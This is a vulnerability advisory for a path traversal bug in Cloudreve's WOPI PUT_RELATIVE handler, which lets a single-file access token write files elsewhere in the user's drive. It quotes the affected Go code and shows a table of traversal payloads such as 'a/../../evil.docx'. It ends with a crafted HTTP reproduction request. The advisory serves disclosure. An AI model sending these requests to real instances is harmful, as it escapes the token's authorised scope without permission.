CVE-2026-55495

Cloudreve's WOPI PUT_RELATIVE handler treats X-WOPI-SuggestedTarget as a path, not a filename. It splits the header on / and joins the segments onto the source file's directory with URI.JoinRaw, which feeds Go's url.JoinPath. url.JoinPath resolves ./.. segments, so a slash-bearing target such as a/../../evil.docx collapses to a location outside the source file's directory. The lower-level upload path then validates only the final, already-cleaned basename (evil.docx), which is harmless, and checks ownership against the resolved ancestor, which is still the same user's drive.

A WOPI access token is bound to exactly one file (the route enforces fileId == session.FileID with a 403 otherwise). PUT_RELATIVE escapes that per-file scope: a token issued for one file can create (and, conditionally, overwrite) files elsewhere in the same account.

Root cause (verified at 26b6b10)

1. Token is single-file scoped (the boundary being escaped), middleware ViewerSessionValidation:

fileId := hashid.FromContext(c)
if fileId != session.FileID {           // 403, token is bound to ONE file
    c.Status(http.StatusForbidden); c.Abort(); return
}

Route: wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation()); wopi.POST(":id", controllers.ModifyFile) → POST /api/v4/file/wopi/:id?access_token=<token>.

2. PUT_RELATIVE dispatch, routers/controllers/wopi.go:

case wopi.MethodPutRelative:            // X-WOPI-Override: PUT_RELATIVE
    err = service.PutContent(c, true)

3. SuggestedTarget joined as a path, service/explorer/viewer.go:

fileName, _ := wopi.UTF7Decode(c.GetHeader(wopi.SuggestedTargetHeader)) // X-WOPI-SuggestedTarget
fileUriParsed, _ := fs.NewUriFromString(fileUri)
if strings.HasPrefix(fileName, ".") { /* treat as extension */ }
fileUri = fileUriParsed.DirUri().JoinRaw(fileName).String()             // <-- path join, not basename
...
subService := FileUpdateService{ Uri: fileUri }
res, err := subService.PutContent(c, lockSession)

4. JoinRaw splits on / and normalizes via url.JoinPath, pkg/filemanager/fs/uri.go:

func (u *URI) Join(elem ...string) *URI {
    newUrl, _ := url.Parse(u.U.String())
    return &URI{U: newUrl.JoinPath(/* PathEscape each elem */ ...)} // JoinPath cleans ./ and ../
}
func (u *URI) JoinRaw(elem string) *URI {
    return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}

PathEscape leaves . unescaped (it is in the unreserved set), so .. segments survive into JoinPath, which resolves them. URI.Name() returns path.Base(path.Clean(path)), the cleaned basename.

5. Upload checks ownership of the resolved ancestor and validates only the clean basename, pkg/filemanager/fs/dbfs/upload.go:

ancestor, err := f.getFileByPath(ctx, navigator, req.Props.Uri)        // URI already traversal-normalized
...
if _, ok := ctx.Value(ByPassOwnerCheckCtxKey{}).(bool); !ok && ancestor.OwnerID() != f.user.ID {
    return nil, fs.ErrOwnerOnly                                        // same-user -> passes
}
...
if err := validateNewFile(req.Props.Uri.Name(), req.Props.Size, policy); err != nil { // checks "evil.docx" only
    return nil, err
}

validateFileName rejects / \ : * ? " < > | and bare ./.., but the traversal is already gone by the time it sees the basename.

Validation performed

Independent validation against commit 26b6b10 in a clean sandbox.

Source-verified (static): the full chain confirmed verbatim, single-file-scoped token (403 on mismatch) → PUT_RELATIVE dispatch → DirUri().JoinRaw(SuggestedTarget) → url.JoinPath normalization → ancestor ownership check (same-user passes) → basename-only validation of the cleaned name.

Dynamic (control-flow executed): the full binary is not buildable offline here (modules behind an unreachable Go proxy, embedded frontend, DB). I built and ran a harness using the real Go net/url stdlib plus the verbatim Join/JoinRaw/DirUri/Path/Name/PathEscape/shouldEscape and the validateFileName gate, driving the same transformation PUT_RELATIVE performs. Source = cloudreve://my/folder/current.docx:

SuggestedTarget            resolved URI                          final basename   validator
"copy.docx"                cloudreve://my/folder/copy.docx       "copy.docx"      ACCEPT
"a/../../evil.docx"        cloudreve://my/evil.docx              "evil.docx"      ACCEPT   <- ESCAPED to /
"a/../../../top.docx"      cloudreve://my/top.docx               "top.docx"       ACCEPT   <- ESCAPED to /
"sub/evil.docx"            cloudreve://my/folder/sub/evil.docx   "evil.docx"      ACCEPT   <- different subdir
".pdf"                     cloudreve://my/folder/current.pdf     "current.pdf"    ACCEPT
"a%2f..%2f..%2fenc.docx"   cloudreve://my/folder/a%252f..%252f.. "a%2f..%2f..%2f" ACCEPT   (NO escape)

The headline payload a/../../evil.docx deterministically resolves to cloudreve://my/evil.docx (account root) with a clean, accepted basename. Output matches the original audit probe exactly. Honest caveat: a leading non-.. segment (e.g. a/) is required to prime the join; a single ../evil.docx does not cleanly escape, and URL-encoded separators (%2f) do not traverse through this path (they are re-escaped into one literal segment). Only literal / separators work.

Confidence tier: source-verified + control-flow dynamically reproduced (no full live HTTP write against a deployed instance).

Deduplication: no existing CVE/GHSA matches. Known Cloudreve advisories are CVE-2022-32167 (XSS, v1–v3.5.3) and CVE-2026-25726 (weak-PRNG ATO, instances initialized < v4.10.0), both unrelated. SECURITY.md lists "user permissions" as high-impact and in scope for all 4.x, so this qualifies as a vulnerability under the project's own policy.

Steps to reproduce

Setup: user owns cloudreve://my/folder/current.docx; open it in the WOPI editor to obtain <token> (the session is bound to that file's ID).

1. Send the crafted PUT_RELATIVE:

   POST /api/v4/file/wopi/<file-id>?access_token=<token> HTTP/1.1
   Host: target
   X-WOPI-Override: PUT_RELATIVE
   X-WOPI-SuggestedTarget: <UTF-7 of "a/../../evil.docx">
   Content-Type: application/octet-stream
   
   <file bytes>
   

2. Cloudreve rewrites the target from cloudreve://my/folder/current.docx to cloudreve://my/evil.docx, validates the basename evil.docx (passes), and writes the content.
   Expected: the target is rejected or constrained to the source file's directory.
   Actual: a file is written at the account root, outside the token's single-file scope.